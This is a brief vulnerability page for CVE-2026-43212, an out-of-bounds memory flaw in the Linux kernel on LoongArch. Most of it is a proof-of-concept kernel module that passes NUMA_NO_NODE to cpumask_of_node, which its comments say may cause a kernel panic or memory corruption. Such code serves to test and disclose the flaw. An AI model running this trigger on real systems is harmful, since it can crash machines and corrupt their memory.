CVE-2026-43212 Linux内核LoongArch内存越界漏洞

/* * PoC for CVE-2026-43212 * Trigger the vulnerability by calling cpumask_of_node(NUMA_NO_NODE) * Compile as a kernel module to test directly. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/cpumask.h> #include <linux/topology.h> static int __init poc_init(void) { const struct cpumask *mask; printk(KERN_INFO "CVE-2026-43212 PoC: Triggering cpumask_of_node with NUMA_NO_NODE\n"); // Passing NUMA_NO_NODE (-1) to the vulnerable function // This may cause kernel panic or memory corruption mask = cpumask_of_node(NUMA_NO_NODE); if (mask == NULL) { printk(KERN_INFO "CVE-2026-43212 PoC: Returned NULL\n"); } else { printk(KERN_INFO "CVE-2026-43212 PoC: Returned mask pointer\n"); } return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43212 PoC: Exiting\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");